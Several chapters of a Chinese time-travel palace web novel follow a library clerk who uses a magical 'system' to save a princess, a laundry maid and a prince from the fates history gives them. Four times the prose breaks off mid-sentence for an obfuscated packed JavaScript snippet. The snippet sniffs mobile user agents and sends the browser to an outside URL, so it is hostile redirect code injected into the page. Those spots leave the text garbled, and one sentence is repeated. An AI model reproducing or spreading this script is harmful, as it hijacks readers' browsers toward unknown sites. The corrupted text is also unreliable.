《穿越时空,试图改变》 4. 李静姝 朴瑶用剩下的20点守望值兑换了“初级书画鉴赏”技能——这是她权衡后的选择。大庆崇文,宫中设有藏书阁,常年招募擅长整理典籍的女史。 要求是:识文断字,懂基本版本鉴别,身家清白。 她花了两天时间准备,又用系统最后的5点兑换了“临时书法提升”,模仿出一手端正的馆阁体。 十月初一,宫城西侧的掖庭署外排起了长队。 朴瑶排在末尾,手里拿着林静婉给她的户籍副本——她谎称自己是林静婉的表姐,父母双亡来投亲。 守门的宦官检查得很仔细,还让她当场写了一段《女诫》。 “字倒还工整。”那宦官抬眼看她,“读过书?” “家父生前是塾师,略识几个字。” “等着吧。” 这一等就是两个时辰。日头西斜时,终于有个穿深绿官服的女官走出来,手里拿着名册。 “以下念到名字的,随我来——王秀兰、李焕云、朴瑶……” 朴瑶深吸一口气,跟着队伍走进那道朱红色的宫门。 甬道又长又深,两侧是高耸的宫墙,墙头覆盖着青黑色的筒瓦。脚步声在石板路上回响,偶尔能听见远处传来的钟鼓声。 【已进入关键区域:大庆宫城。开启地图功能。警告:本区域存在多位历史关键人物,请谨慎行动。】 藏书阁在宫城西北角,是个两层木构建筑,飞檐下挂着铜铃,风一吹叮当作响。领路的女官姓周,约莫四十岁,面相严肃。 “阁中藏书三万卷,你们的活计就是除尘、整理、修补。每日辰时上工,酉时下值。不得损坏书籍,不得私自夹带,不得喧哗。”周女官目光扫过众人,“每月俸禄六百文,食宿在内廷西院。” 她顿了顿,看向朴瑶:“听说你懂些字画鉴别?” “略知皮毛。” “正好。楼上东厢有几箱前朝旧籍,需要人整理编目。你来做。” 就这样,朴瑶在永昌元年十月,正式成为了大庆宫城藏书阁的一名女史。 那天晚上,她躺在宫女宿舍的硬板床上,透过窗棂看着宫墙切割出的狭小天空。北斗七星悬在飞檐一角,和一千四百年后的位置几乎没有差别。 系统面板在黑暗中微微发光: 【当前守望值:35】 【进行中任务:1.陆明渊(存活概率:71%);2.春桃(剩余时间:41天);3.林静婉(存活概率:33%)】 【已接触历史人物:陆明渊、林静婉】 她翻了个身,闭上眼睛。 第一步,算是迈出去了。 藏书阁的日子安静得像一池深水,却暗藏机锋。 朴瑶每日的工作就是整理那些蒙尘的古籍:拂去虫蠹,修补破损,用小楷在笺条上写下书名、卷数、年代,然后归入相应的书架。 阁楼里常年弥漫着陈年纸张、墨锭和防蛀草药混合的气味,时间在这里仿佛凝滞了。 周女官是个严格但不苛刻的上司。 她很快发现朴瑶做事细致,对古籍版本有超出年龄的见识——这得益于朴瑶兑换的“初级书画鉴赏”技能,以及她穿越前作为考古学生的底子。 但周女官从不夸人,只在朴瑶将一箱散乱的唐写本按年代、内容精确归位后,淡淡说了句:“明日开始,你负责楼上东厢。” 那是藏书阁的核心区域,存放着不少珍本。 朴瑶渐渐摸清了这里的规律:每日午后最安静,周女官通常会去内侍省汇报工作;申时前后,偶尔会有宫眷来借书——多是公主、女官,或者得宠的妃嫔身边人。 这些访客通常目不斜视,拿了书就走,很少与女史交谈。 但凡事总有例外。 那是个秋阳暖煦的午后,朴瑶在二楼东厢整理《昭明文选》的宋刻本。 阳光从高窗斜射进来,在空气中照出飞舞的微尘。 她正小心翼翼地用软毛刷清理书页边缘的霉斑,忽然听见楼下传来轻快的脚步声,伴随着少女清脆如铃的嗓音: “周姑姑在吗?” “公主殿下万福。”是值守小宫女的声音,带着明显的紧张,“周司籍去内侍省了,约莫申时回。” “那我自个儿看看。” 脚步声上了楼梯,不疾不徐。 朴瑶从书架间隙望去,看见一个约莫十二三岁的少女。 她穿着鹅黄襦裙,外罩浅绿半臂,裙裾上绣着细密的缠枝莲纹。梳双鬟髻,簪着珍珠流苏步摇,随着步伐轻轻晃动。 眉眼灵动,嘴角天然微微上扬,像随时要笑起来——是一种未经世事磋磨的、明亮的美。 【检测到关键人物:李静姝,13岁,永昌帝第五女,生母为徐婕妤。原历史轨迹:永宁二十六年和亲北狄,途中遇袭身亡。死亡真相: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129387|196193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北狄内乱波及送亲队伍。】 朴瑶呼吸一滞,手中的软毛刷差点掉落。 她强迫自己移开视线,低头继续清理书页,心里却翻江倒海——这是她穿越以来,第一次如此近距离接触一个在史书上有明确记载的悲剧人物。 小公主浑然不觉,在书架间随意浏览。她似乎对这里很熟悉,径直走向存放诗文集的那几排。 走到朴瑶所在的区域时,她停在一排诗文前,踮起脚,努力去够最上层的一册。 试了两次没够到,她轻轻“啧”了一声,左右看了看,似乎想找梯子。 朴瑶知道自己该出声了。她深吸一口气,从书架后走出来,在距离公主五步处停下,垂首行礼:“公主要取什么?奴婢帮您。” 李静姝吓了一跳,回头看见从阴影里走出的朴瑶。 她眨眨眼,目光在朴瑶身上停留片刻——朴瑶穿着统一的青灰色女史服饰,头发整齐地梳成单髻,别无饰物,只别着一支最普通的木簪。 “你是新来的女史?以前没见过你。” “是。奴婢朴瑶见过公主殿下。” “我要那本《玉台新咏》。”小公主指指高处,语气自然,没有一般贵胄的盛气凌人,“母妃说里面有些咏梅的诗极好,我想抄几首给父皇看,父皇最喜欢梅花。” 朴瑶应了声“是”,搬来角落的矮梯,稳稳地爬上去,取下那本蓝色布面、书脊已磨损的刻本,双手递过去。 李静姝接过,随手翻了几页,忽然皱起眉,指着其中一处:“这注解得不对呀。” 朴瑶略略抬眼,看见她指的是《白头吟》那页。 “‘皑如山上雪,皎若云间月’,”小公主念出声,眉头蹙得更紧,“明明说的是雪和月,注解说‘喻女子肌肤皎洁’,太俗了。雪是雪,月是月,女子是女子,哪有这样比的?” 朴瑶心里微微一动。 她没想到这位深宫公主对诗文有如此敏锐的直觉。 她斟酌了一下,谨慎开口:“公主说得是。此诗下文‘闻君有两意,故来相决绝’,全篇是女子决绝之辞。以雪月起兴,该是取其皎洁易逝之意——雪虽白却易化,月虽明却有阴晴圆缺,喻情意当纯洁永恒,若被玷污、若生变故,宁可断绝。” 李静姝眼睛一亮,抬头看朴瑶:“你读过这诗?还懂它的意思?” “家父……生前教过一些。”朴瑶垂下眼。 5. 春桃 “那你说说,”小公主合上书,靠在一旁的书架上,目光澄澈地看着她,“这世间情爱,真能如山上雪、云间月那般,不容一丝瑕疵么?若真如此,岂不是人人最后都要‘相决绝’?” 问题来得突然,朴瑶看着小公主尚且稚嫩的脸 忽然想起史书上的寥寥记载:李静姝十六岁和亲北狄,十九岁死于非命。她嫁过去后似乎音讯全无,最后只传回一句“公主薨”,连死因都语焉不详。 只传回一句冰冷的“公主薨于北狄”,连死因都语焉不详。 此刻看着眼前这张尚存稚气、却已初现绝色容颜的脸,朴瑶心里涌起一股复杂的情绪。她沉默了几息,轻声说: “奴婢浅见……情爱或许如雪,并非因雪永恒无瑕,而是因雪虽洁净,却最易消融。与其强求它永不玷污、永不改变,不如在它还洁白的时候,真心相待。哪怕最后化了,渗入泥土,也滋润过一方土地——总好过从未落下。” 李静姝怔住了。她盯着朴瑶看了好一会儿,眼神从疑惑到恍然,最后化作一声轻叹:“你说话……和宫里那些人都不一样。” 她顿了顿,又问:“你叫什么来着?” “朴瑶。” “朴瑶……”小公主念了一遍,点点头,“我记住啦。” 她抱着书转身往下走,走到楼梯口时,又忽然回头。 午后的阳光恰好从她身后的高窗涌进来,给她周身镀上一层毛茸茸的金边,珍珠步摇在光里晃出一串细碎的光晕。 “下次我来,你再与我说诗。”她笑着说,笑容明亮,带着少女特有的、对未知世界的好奇与期待。 然后脚步声渐远,消失在楼梯转角。 朴瑶站在原地,久久没有动。空气中还残留着少女身上淡淡的、似梅非梅的香气。 她抬起头,望向那扇高窗——窗外是重重宫墙,墙外是更广阔却同样不自由的人间。 系统提示无声浮现: 【接触关键人物李静姝。历史知晓度+5%。获得守望值×20。】 【触发隐藏任务:改变李静姝的和亲命运(剩余时间:约3年)。任务难度:极高。是否接受?】 朴瑶看着“极高”两个字,手指微微收紧。 窗外传来隐约的钟声,浑厚悠长,是申时了。阁楼重归寂静,只有尘埃在光束中继续飞舞,仿佛刚才那段对话从未发生。 但有些东西已经改变。 她转身,继续清理那本《昭明文选》。动作依然细致,心里却已翻起波澜。 远处的浣衣局方向,传来隐约的捣衣声,规律而沉闷,像这个时代无数女子被框定的人生节奏。 而她现在,正试图在这节奏里,敲出一个变奏的音符。 找到春桃比预想的容易,却也困难。 容易在于位置明确——朴瑶用仅剩的5点守望值兑换了“宫内基础人事信息”,光幕上浮现出一张简略的宫内地图,浣衣局被标记在宫城东北角,紧邻太液池。 困难则在于,一个藏书阁女史,如何在不引人怀疑的情况下频繁接近浣衣局宫女? 朴瑶思忖再三,选择了一个看似合理的借口。十月初九那日,她抱着一卷《天工开物》的抄本去找周女官。 “司籍,下官在整理农工类书籍时,看到这卷中有‘浣纱’‘漂絮’的记载,提及不同水质对织物色泽的影响。”她恭敬地垂首,“太液池水引自玉泉山,水质清冽,奴婢想……能否去池边实地看看,或许对修补古籍中相关插图有所助益。” 周女官从案卷中抬起头,目光在朴瑶脸上停留片刻。 这个新来的女史做事勤勉,见解也常有独到之处,但今日这请求……她放下笔:“你倒是有心。准你半日,申时前必须回来。” “谢司籍。” …… 太液池是个占地数十亩的人工湖,引玉泉水而成,此时秋意正浓。 岸边垂柳半黄,残荷枯立,水面泛着冷冽的青光。 十几个浣衣局宫女蹲在延伸入水的石阶上,手持木杵捶打衣物,“砰砰”声在空旷的湖边显得格外沉闷。 朴瑶抱着那卷书,沿着湖岸慢慢走,目光状似不经意地扫过那些年轻的面孔。 她们大多十四五岁,面容憔悴,手指冻得通红。 深秋的池水寒凉刺骨,但无人敢停。 【检测到任务目标:春桃,14岁,左颊有浅褐色胎记,形似桃花。】 她很快锁定了目标——最靠东侧石阶上的一个瘦小宫女,正费力拧着一件厚重的妃嫔宫装。 水渍溅湿了她半幅裙摆,左颊上那块铜钱大小、淡褐色的胎记在苍白皮肤的映衬下格外明显。 朴瑶走过去,在春桃上游几步的位置蹲下,将书卷放在干燥处,伸手入水,假装洗手。 湖水冰冷,激得她指尖发麻。 她故意动作大了些,袖中一块素帕子脱手,顺流而下,正好漂到春桃手边。 “姐姐,你的帕子。”春桃捞起来,怯生生递过来,声音细细的,带着浣衣局宫女特有的瑟缩。 “多谢。”朴瑶接过,朝她温和地笑了笑,没有立刻离开,“你是浣衣局的?看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129388|196193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪好小。” 春桃低下头,手指无意识地绞着湿衣角:“嗯……去年进的宫。” “活儿重么?” “还、还好。”春桃飞快地抬眼看了看她朴素的青灰女史服饰,又垂下眼,“就是入秋水凉,手容易裂开,夜里疼得睡不好。” 朴瑶顺势看去——那双本该属于少女的手,布满细小的裂口和冻疮,有些已经结痂,有些还渗着血丝。 她心里一揪,从怀里掏出个拇指大小的粗瓷瓶。 这是她用最后10点守望值兑换的“基础润肤膏”,系统说明是“由蜂蜡、杏仁油及少量愈合草药制成”。 “这个给你,晚上睡前用热水净手,涂厚些,用干净的布裹着睡,能镇痛生肌。”朴瑶把瓶子塞进她冰凉的手里。 春桃像被烫到般想缩手:“这、这太贵重了……奴婢不能要……” “拿着吧,我自己采药配的,不值几个钱。”朴瑶按住她的手,声音放得更轻,“我从前在家时,冬日也要浆洗,手也裂过,知道那滋味。” 春桃眼眶微微红了,攥紧了小瓶:“谢、谢谢姐姐。” 朴瑶见她收下,才状似随意地环视湖岸:“你常在这儿洗衣?” “每日都来,除非下雨结冰。” “可得当心些,湖边石头湿滑。”朴瑶压低声音,凑近了些,“我前几日听一位老嬷嬷说起,前年这时候,有个宫女就在这附近滑下去,捞上来时都没气儿了。” 春桃脸色骤然白了,嘴唇微颤:“是……是听过的。” “尤其是东边那段,”朴瑶指向春桃刚才所在的石阶方向,那边石面布满深绿苔藓,在阴影里显得湿滑阴森,“那边背阴,青苔长得厚,最是危险。你尽量在西边洗,这边石头向阳,平整干爽些。” 春桃顺着她指的方向看去,又回头看看自己原先的位置,眼里闪过明显的后怕。她用力点头:“我记住了,谢谢姐姐提醒!” 朴瑶又和她闲聊了几句,得知春桃是京郊农户之女,因家里欠债被送进宫。问及家人,小姑娘眼神黯淡:“去年爹没了,娘改嫁了……宫里,就是家了。” 朴瑶心头发沉,没再深问。她起身,拍拍裙摆上并不存在的灰尘:“我得回去了。你自己多保重,天冷记得添衣。” 走出十几步,她回头看了一眼——春桃已经抱着木盆和那件宫装,挪到了西侧阳光能照到的平整石阶上,正低头小心地将润肤膏藏进怀里。 【初步干预完成。目标‘春桃’死亡概率降低22%。剩余时间:31天。需持续观察并巩固干预效果。】 6. 李承稷 朴瑶刚松了半口气,还没来得及为那22%的概率稍感欣慰,眼前突然红光急闪! 【警告!紧急任务触发!】 【任务:阻止皇子李承稷坠马事件(剩余时间:3个时辰)】 【任务详情:李承稷,15岁,永昌帝第三子,生母为赵昭仪。今日申时三刻将于西苑马场练习骑射时坠马。原因:马鞍右侧肚带内侧严重磨损,高速奔驰时断裂导致马鞍侧滑。后果:左腿胫骨粉碎性骨折,救治不当留下终身跛足。原历史轨迹:因此残疾无缘储位,永昌二十五年被封安郡王,景和八年(永昌帝驾崩后第七年)死于‘景和之乱’叛军乱刀之下,尸骨无存。】 朴瑶的心脏骤然停跳,寒意从脚底直窜头顶! 西苑马场在宫城西侧,是皇室子弟及侍卫习武骑射之处,距藏书阁几乎要穿过半个宫城。 她一个最低等的女史,没有任何理由在三个时辰内赶到那里,更何况接近皇子、阻止一场尚未发生的坠马! 【系统提供临时可行方案:兑换‘一次性紧急传信权限’(需消耗30点守望值)。兑换后,可指定一条不超过二十字的匿名警示信息,系统将确保信息在指定时间内送达指定人物手中。成功率预估:47%(取决于信息合理性及接收者态度)。】 她目前仅有55点守望值(完成陆明渊任务获得50点,初始剩余5点)。30点几乎是全部家当,而成功率还不足一半! 赌,还是不赌? 朴瑶脑中飞速闪过史书上的寥寥数语:“三皇子承稷,聪颖敏达,十岁能诗,十二岁代父批阅奏章,深得帝心。永昌元年秋,坠马致残,自此消沉……”“安郡王承稷,于景和之乱中死于府邸,乱军屠府,无一生还。” 如果他没有坠马残疾,以他的才具和永昌帝的喜爱,极有可能被立为太子。 而那位最终继位的大皇子李承基……史笔如刀:“昏聩庸碌,宠信奸佞,大兴土木,民怨沸腾。景和之乱实肇其因。” 一个念头狠狠击中她:救李承稷,或许不止是救一个人,而是在为一个即将走向衰颓的王朝,挽回一线可能的生机? 指甲深深掐进掌心,疼痛让她迅速冷静。 她必须发送一条既能引起足够重视,又不至于被当成疯话或诅咒,且能在有限字数内点明关键的信息。 直接说“三皇子申时三刻会坠马”必然被无视,甚至可能引来祸端。那么,从“因”入手!马鞍,肚带,磨损…… “兑换‘紧急传信权限’!”她在心中低喝。 【兑换成功!消耗守望值30点,剩余25点。请指定警示信息内容(限三十字内)及接收对象。】 朴瑶闭眼,再睁开时眼神锐利:“接收对象:西苑马场掌事宦官陈德亮。信息内容:‘三皇子今日所用马鞍,右侧肚带内侧或有严重磨损,请即刻详查。’” 【信息已加密发送。预计接收时间:一刻钟后。接收方式:以匿名纸条形式出现在陈德亮常翻阅的《马经》册页中。】 …… 申时初刻,西苑马场。 李承稷已换好月白色窄袖骑射服,腰间束着黑色革带,更显身姿挺拔。 他今年十五岁,眉眼肖似其母赵昭仪,清俊中带着几分少年锐气,但举止间已有皇室子弟的从容气度。 枣红马“赤焰”被侍卫牵了过来,亲昵地用鼻子蹭了蹭他的手掌。 这是他最喜爱的坐骑,性情温顺且脚力出众。 “殿下,马具都已检查过,没问题。”侍卫领队躬身禀报。 李承稷点点头,踩镫上马,动作流畅。他今日心情颇佳——父皇早朝后特意留下他,夸赞他前日所作的《秋猎赋》“气象开阔,有太祖遗风”。 母妃也传话,说晚间要亲自下厨做他最爱吃的蟹酿橙。秋风飒爽,正是纵马的好天气。 “殿下,先从慢跑开始,活动开筋骨。”教习侍卫在下面提醒。 “嗯。”李承稷轻夹马腹,“赤焰”小跑起来。风掠过耳畔,带来草场混合着泥土与阳光的气息。 远处宫阙巍峨,琉璃瓦在秋阳下折射出耀目的金辉,飞檐斗拱划破湛蓝的天际。 跑完两圈热身,他感觉状态正好,准备提缰加速,试试昨日新学的蹬里藏身动作。 就在这时,眼角余光瞥见马场边缘,掌事宦官陈德亮正带着两名小宦官,步履匆匆地朝侍卫领队走去,神色凝重地低语着什么。 侍卫领队的脸色瞬间变了,抬手用力挥动令旗:“殿下!请即刻下马!” 李承稷心头微疑,但训练有素的他还是勒住缰绳,控制“赤焰”稳稳停下。 他利落地翻身下马,蹙眉看向快步走来的侍卫领队和陈德亮:“何事如此慌张?” 陈德亮额角见汗,扑通跪下:“殿下息怒!奴才……奴才刚接到……呃,有人提醒,说殿下今日所用马鞍,或需再仔细查验一遍,尤其是右侧肚带!”他语焉不详,显然无法解释消息来源,但事关皇子安危,宁可信其有。 李承稷眸光一凝,看向那副看起来毫无异常的马鞍:“查!” 侍卫领队亲自上前,小心翼翼地将马鞍从马背上取下,里外翻看。 当他的手摸到右侧肚带内侧,反复捻动时,动作猛地顿住,脸色“唰”地白了。 “殿下!”他声音发紧,将肚带内侧翻过来,凑到李承稷眼前,“您看这里……” 只见深褐色牛皮制成的肚带内侧,靠近铁扣环处,有一片约两指宽的磨损区域!表皮几乎磨透,露出底下纤维,最薄处只剩一层皮膜相连,在光线下几乎半透明! 李承稷后背瞬间被冷汗浸透! 如果刚才他加速奔驰,在马匹腾跃落地、肚带承受最大张力的一瞬间……这处脆弱的连接点极可能骤然崩断!马鞍会瞬间侧滑,他毫无防备之下被摔下马背,甚至可能被拖行……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129389|196193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这副马鞍,是谁负责日常养护检查的?”他听见自己的声音冷如寒冰,强压着后怕与怒火。 陈德亮伏地颤抖:“是、是奴才手下一个名叫刘三的……奴才失察,罪该万死!” “把人看起来,详查!”李承稷深吸一口气,转向侍卫,“换副新鞍。今日之事,暂不声张,但马场所有马具,全部重新检查一遍!” “遵命!” 李承稷站在原地,秋风吹过,他却觉得遍体生寒。 他再次看向那副险些酿成大祸的马鞍,又抬眼望向宫城深处,眉头深深蹙起——那个神秘的“提醒者”,是谁?为何知道得如此具体?是善意,还是另有所图? …… 同一时刻,藏书阁二楼窗边。 朴瑶面前悬浮着一个仅有她能见的半透明“远程观测窗口”,画面正是西苑马场那一幕。这是她咬牙用最后5点守望值兑换的“一次性事件观测”,只能维持半刻钟。 她看着李承稷脸色发白地检查肚带,看着他冷静地下令处置,看着他最后那个充满疑虑的眺望眼神…… 窗口时间到,画面消失。 【紧急任务完成!成功改变历史人物‘李承稷’的命运轨迹!获得奖励:守望值×100。历史扰动值增加8%。】 【李承稷当前状态:健康。原残疾发生概率:100%→0%。未来命运线已产生分支,后续影响将持续计算。】 朴瑶长长地、缓缓地吐出一口气,才发现自己后背衣衫已被冷汗湿透,紧握的拳头松开时,掌心留下了几个月牙状的深痕。她靠着冰冷的墙壁滑坐下来,心跳如鼓,久久未能平复。 赌赢了。但那47%的成功率,现在回想起来,每一步都像在深渊边缘行走。 窗外,黄昏的光线愈发倾斜,将藏书阁内林立的书架拖出长长的影子,尘埃在最后的光束中无声飞舞。 系统面板幽幽亮着,守望值余额变成了125点(25+100)。但朴瑶没有丝毫喜悦。 三个任务像三座大山,陆明渊的命暂时吊住,但隐患未除;春桃的危险预警给出,但还需要后续加固;李承稷的坠马被阻止,却引来了皇子本人的疑心。 而更让她心头沉重的是,光幕的边缘,随着历史扰动值的增加,新的名字、新的任务提示正在隐隐闪烁,像夜幕降临前,天边渐次浮现的、预示着风雨的星辰。 她知道,每一颗星的背后,都是一段正在偏移或即将倾覆的人生轨迹。 而她这个意外的闯入者,已被卷入这浩瀚而残酷的历史星河之中,再也无法抽身。 远处,宫门下钥的沉重钟声,一声接着一声,浑厚悠长地传来,回荡在重重宫阙之间。 永昌元年的深秋,就在这钟声里,一天凉似一天。 朴瑶扶着墙壁慢慢站起身,整理好衣裙,将脸上所有后怕与波澜尽数敛去,重新变回那个安静本分的藏书阁女史。 7. 试探 坠马事件后的第五天,黄昏时分,藏书阁里的光线已变得朦胧。 朴瑶正跪坐在二楼东厢的蒲团上,整理最后一箱前朝奏疏。 这些是元和年间,永昌帝祖父的时代的奏抄副本,纸张脆弱泛黄,墨迹也多有晕染。 她需要小心地将粘连的页角分开,用薄棉纸隔开,再按年份顺序重新归置。 阁内极静,只有她翻动纸页时轻微的“沙沙”声,以及烛火偶尔的“噼啪”爆响。窗外,暮色四合,宫墙的轮廓在天际线上渐渐模糊。 就在这时,楼梯上传来脚步声。 不是周女官那种利落、带着目的性的步伐,也不是小宫女细碎、匆忙的步子。这脚步声沉稳、均匀,每一步都踏得实实在在,带着一种不自觉的、属于上位者的从容。 朴瑶动作一顿,抬起头。 一个少年出现在楼梯口。 他穿着靛青色暗纹圆领袍,腰束革带,带扣是青玉的,雕着简单的云纹。 头戴黑色幞头,额前发丝整齐。大约十五六岁的年纪,面容清俊,眉眼间带着读书人特有的文气,但肩背挺直,站立时自有一股端凝之态——那是长期严格礼仪训练与习武结合造就的姿态。 正是李承稷。 他站在楼梯口,目光在略显昏暗的阁内扫视一圈,最后落在朴瑶身上。烛光在她侧脸跳跃,勾勒出专注而平静的轮廓。 “殿下万福。”朴瑶放下手中正在分开的粘连页角,起身,退后一步,躬身行礼。动作标准,无可挑剔。 李承稷没有立刻说话,他踱步走进来,靴底踏在木地板上的声音在寂静中格外清晰。 他的目光掠过她刚才整理的那堆奏疏,又看向书架间整齐排列的蓝色布面书函。 “你是那日……与静姝论《玉台新咏》的女史?”他的声音清朗,语气平和,听不出什么情绪。 “是,奴婢朴瑶。” “不必多礼。”他抬了抬手,走到朴瑶刚才跪坐的矮几旁,目光落在摊开的奏疏上,“这些是……元和年间的?” “回殿下,是元和七年至十年的部分奏抄,主要是工部与户部关于漕运、水利的争议与决议。” 李承稷微微俯身,用指尖极其小心地挑起一页,就着烛光看了几行。 他的手指修长,指甲修剪得整齐干净。 看了一会儿,他抬起眼,目光落在朴瑶脸上,带着一丝审视:“你整理时,可曾看出什么门道?” 问题直接,且超出了对一个普通女史能力的预期。 朴瑶心头微紧,垂眼避开他的直视,谨慎措辞:“奴婢见识浅薄,只是依样整理。若说粗浅观感……似乎元和八年,关于漕运新法的争议尤为激烈。” “嗯。”李承稷放下那页纸,直起身,“当时主事官员提出‘分段转运’,即在漕河几个关键节点设仓,大船卸货,换小船或陆运接力。反对者认为此法劳民伤财,徒增损耗。依你看呢?” 这已不是随口一问,而是近乎考较了。 朴瑶想起系统灌输的“本时代常识”以及自己原来了解的一些古代漕运知识,稳了稳心神:“下官以为,‘分段转运’看似繁琐靡费,实则降低了整船倾覆、全漕阻断的风险。漕运乃国脉,稳妥重于一切。且……从奏抄看,当年春夏之交,漕河多雨,水位不稳,此法或有因地制宜的考量。” 李承稷眼中闪过一丝极淡的讶异,但很快敛去。 他拿起另一份奏疏,快速浏览:“那反对者所言也不无道理。分段设仓,给了沿途官吏盘剥、拖延之机,损耗或许更甚于风浪。” “所以元和九年的补充章程里,”朴瑶上前半步,指向他手中那份奏疏的末尾部分,指尖停在离纸页尚有一寸处,“加了每旬稽核、转运官与仓监官互相监督、定期轮换的条款。虽……虽不能尽绝弊端,但已是当时情形下,能想到的较为周全的制约之法。” 李承稷顺着她指的方向看去,果然看到那些条款。他沉默了片刻,阁内只剩下烛火摇曳的声音。然后,他抬眼,目光锐利地看着她:“你读过《漕运通考》?或是《元和政要》?” 《漕运通考》是本朝编纂的专业著述。 《元和政要》更是收录前朝重要政论的书籍,绝非一个普通宫女甚至低级女官能轻易接触到的。 朴瑶心中一凛。她确实没“读”过,但系统灌注的“本时代基础常识”里,包含了历代重要典籍的梗概和核心观点。《漕运通考》是公认的漕运史集大成之作。 “奴婢有幸,在整理旧籍时见过残本,略翻过目录和序言,未及深读。”她答得含糊,留有余地。 李承稷并未深究,只是淡淡道:“宫中藏书阁,果然能人辈出。一个整理古籍的女史,也能有此见识。” 这话不知是褒是贬。朴瑶不敢接。 李承稷踱开两步,背对着她,看向窗外渐沉的暮色。 他的背影在烛光下拉得很长。良久,他忽然开口,声音平稳,却抛出一个惊雷:“前几日,西苑马场的事,你在这藏书阁中,可曾听闻?” 来了。 朴瑶感觉自己的心脏重重地跳了一下。她维持着垂首的姿态,声音尽量平稳:“下官……略有耳闻。听说殿下洪福齐天,及时发现了马具隐患。” “是‘及时发现’。”李承稷转过身,目光如实质般落在她身上,“有人匿名递了消息,说马鞍右侧肚带内侧或有磨损。查证之下,果然如此,且磨损处隐蔽,寻常例行检查极易忽略。” 他顿了顿,向前走了半步,距离朴瑶只有三四尺远。 这个距离,她能闻到他身上淡淡的、类似松墨和檀香混合的气息,也能更清楚地看到他眼中那份不属于这个年龄的深沉探究。 “递消息的人,手法很是巧妙。一张没头没尾的字条,出现在掌事太监常看的书里。追查下去,线索断在一个小宦官那里,他说是听见两个不当值的宫女在僻静处闲聊提及。可盘问了马场附近所有可能路过的宫女,无人承认,也无人能证实。”他的语速很慢,每个字都清晰,“朴女史,你说……这是巧合么?或者说有人,算准了时机,刻意为之?” 阁楼里的空气仿佛凝固了。蜡烛燃烧的气味,陈年纸张的霉味,还有窗外渗进来的、带着寒意的晚风,混杂在一起。 朴瑶的后背渗出细密的冷汗。她感觉到李承稷的目光像两盏灯,照得她无所遁形。她必须回答,且不能有丝毫慌乱。 她缓缓抬起头,迎上他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129390|196193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线。烛光在她眼中跳跃,映出一片看似澄澈的平静。 “奴婢愚见,不敢妄断宫中是非。”她开口,声音不大,但清晰,“但下官以为,无论起因是巧合,还是有人暗中留意,结果都是殿下避过了一劫。”朴瑶顿了顿,微微欠身:“这……或许是冥冥之中的护佑。殿下乃陛下爱子,才华出众,将来必是国之栋梁。天佑英才,也是佑我大庆。” 这番话,既撇清了自己“不敢妄断”,又暗含了对皇子的恭维与对事件的定性“天佑”,将一切归为不可言说的“天意”,是当下最稳妥的回答。 李承稷没有说话只是静静地听着,脸上没有任何表情。他就那样看着她,看了很久。久到朴瑶几乎要以为时间停滞了。 然后,他忽然极轻地、几乎听不见地笑了一声。那笑声里听不出喜怒,更像是一种……了悟,或者说,暂时放下。 “也许……你说的也有道理。”他移开目光,再次转向那排排沉默的书架,“天意难测,人心亦难测。但结果好,便好。” 他不再追问。仿佛刚才那番咄咄逼人的试探只是一阵轻风,吹过便散了。 “时候不早了。”李承稷转身,朝楼梯走去。他的步伐依然沉稳。 朴瑶暗暗松了口气,躬身:“奴婢恭送殿下。” 就在他的身影即将消失在楼梯转角时,脚步声停住了。 “朴女史。”他没有回头,只是唤了一声。 “奴婢在。” “藏书阁酉时三刻下钥。”他的声音从楼梯下方传来,平淡无波,“你该收拾了。” 脚步声继续响起,渐行渐远,最终彻底消失在楼下的寂静里。 直到这时,朴瑶才敢真正放松下来。她扶着身旁的书架,缓缓吐出一口一直憋在胸口的浊气,才发现自己的指尖冰凉,掌心一片湿滑的冷汗。 【警告:关键历史人物‘李承稷’对宿主的关注度已由‘无’提升至‘留意’级别。该人物观察力敏锐,疑心较重。请宿主日后言行加倍谨慎,避免引起进一步探究。】 系统提示冰冷地浮现在眼前。 朴瑶走到窗边,推开一条缝。深秋的晚风立刻灌了进来,吹散了些许阁内的沉闷,也让她发热的头脑清醒了些。 